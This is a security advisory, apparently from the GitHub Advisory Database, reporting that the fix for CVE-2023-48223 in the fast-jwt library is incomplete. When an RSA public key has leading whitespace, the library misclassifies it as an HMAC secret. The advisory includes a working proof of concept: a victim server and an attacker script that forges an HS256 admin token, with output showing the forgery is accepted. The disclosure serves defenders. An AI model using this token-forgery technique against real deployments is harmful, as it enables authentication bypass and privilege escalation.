fast-jwt: Incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key

### Summary The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched. ### Details The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a plain string used with .includes() to a regex used with .match(): ``` // Before fix (vulnerable to original CVE) const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----' // .includes() matched anywhere in the string — not vulnerable to whitespace // After fix (current code, line 28) const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/ // ^ anchor requires match at position 0 — defeated by leading whitespace In performDetectPublicKeyAlgorithms() (https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137): function performDetectPublicKeyAlgorithms(key) { const publicKeyPemMatch = key.match(publicKeyPemMatcher) // no .trim()! if (key.match(privateKeyPemMatcher)) { throw ... } else if (publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA') { return rsaAlgorithms // ← correct path: restricts to RS/PS algorithms } else if (!publicKeyPemMatch && !key.includes(publicKeyX509CertMatcher)) { return hsAlgorithms // ← VULNERABLE: RSA key falls through here } ``` When the key string has any leading whitespace (space, tab, \n, \r\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the HMAC secret — the exact same attack as CVE-2023-48223. Notably, the private key detection function does call .trim() before matching https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79: const pemData = key.trim().match(privateKeyPemMatcher) // trims — not vulnerable The public key path does not. This inconsistency is the root cause. Leading whitespace in PEM key strings is common in real-world deployments: - PostgreSQL/MySQL text columns often return strings with leading newlines - YAML multiline strings (|, >) can introduce leading whitespace - Environment variables with embedded newlines - Copy-paste into configuration files ### PoC Victim server (server.js): ``` const http = require('node:http'); const { generateKeyPairSync } = require('node:crypto'); const fs = require('node:fs'); const path = require('node:path'); const { createSigner, createVerifier } = require('fast-jwt'); const port = 3000; // Generate RSA key pair const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 }); const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' }); const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' }); // Simulate real-world scenario: key retrieved from database with leading newline const publicKeyFromDB = '\n' + publicKeyPem; // Write public key to disk so attacker can recover it fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB); const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${port}`); // Endpoint to generate a JWT token with admin: false if (url.pathname === '/generateToken') { const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' }; const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem }); const token = signSync(payload); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ token })); return; } // Endpoint to check if you are the admin or not if (url.pathname === '/checkAdmin') { const token = url.searchParams.get('token'); try { const verifySync = createVerifier({ key: publicKeyFromDB }); const payload = verifySync(token); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify(payload)); } catch (err) { res.writeHead(401, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ error: err.message })); } return; } res.writeHead(404); res.end('Not found'); }); server.listen(port, () => console.log(`Server running on http://localhost:${port}`)); ``` Attacker script (attacker.js): ``` const { createHmac } = require('node:crypto'); const fs = require('node:fs'); const path = require('node:path'); const serverUrl = 'http://localhost:3000'; async function main() { // Step 1: Get a legitimate token const res = await fetch(`${serverUrl}/generateToken?name=attacker`); const { token: legitimateToken } = await res.json(); console.log('Legitimate token payload:', JSON.parse(Buffer.from(legitimateToken.split('.')[1], 'base64url'))); // Step 2: Recover the public key // (In the original advisory: python3 jwt_forgery.py token1 token2) const publicKey = fs.readFileSync(path.join(__dirname, 'public_key.pem'), 'utf8'); // Step 3: Forge an HS256 token with admin: true // (In the original advisory: python jwt_tool.py --exploit k -pk public_key token) const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url'); const payload = Buffer.from(JSON.stringify({ admin: true, name: 'attacker', iat: Math.floor(Date.now() / 1000), exp: Math.floor(Date.now() / 1000) + 3600 })).toString('base64url'); const signature = createHmac('sha256', publicKey) .update(header + '.' + payload).digest('base64url'); const forgedToken = header + '.' + payload + '.' + signature; // Step 4: Present forged token to /checkAdmin // 4a. Legitimate RS256 token — REJECTED const legRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(legitimateToken)}`); console.log('Legitimate RS256 token:', legRes.status, await legRes.json()); // 4b. Forged HS256 token — ACCEPTED const forgedRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(forgedToken)}`); console.log('Forged HS256 token:', forgedRes.status, await forgedRes.json()); } main().catch(console.error); ``` Running the PoC: # Terminal 1 node server.js # Terminal 2 node attacker.js Output: Legitimate token payload: { admin: false, name: 'attacker', iat: 1774307691 } Legitimate RS256 token: 401 { error: 'The token algorithm is invalid.' } Forged HS256 token: 200 { admin: true, name: 'attacker', iat: 1774307691, exp: 1774311291 } The legitimate RS256 token is rejected (the key is misclassified so RS256 is not in the allowed algorithms), while the attacker's forged HS256 token is accepted with admin: true. ### Impact Applications using the RS256 algorithm, a public key with any leading whitespace before the PEM header, and calling the verify function without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads which will be accepted by the verifier. This is a direct bypass of the fix for CVE-2023-48223 / GHSA-c2ff-88x2-x9pg. The attack requirements are identical to the original CVE: the attacker only needs knowledge of the server's RSA public key (which is public by definition).

Source published

2 Apr 2026 20:37:54 UTC

Source modified

7 Apr 2026 17:34:20 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Publisher rating · CRITICAL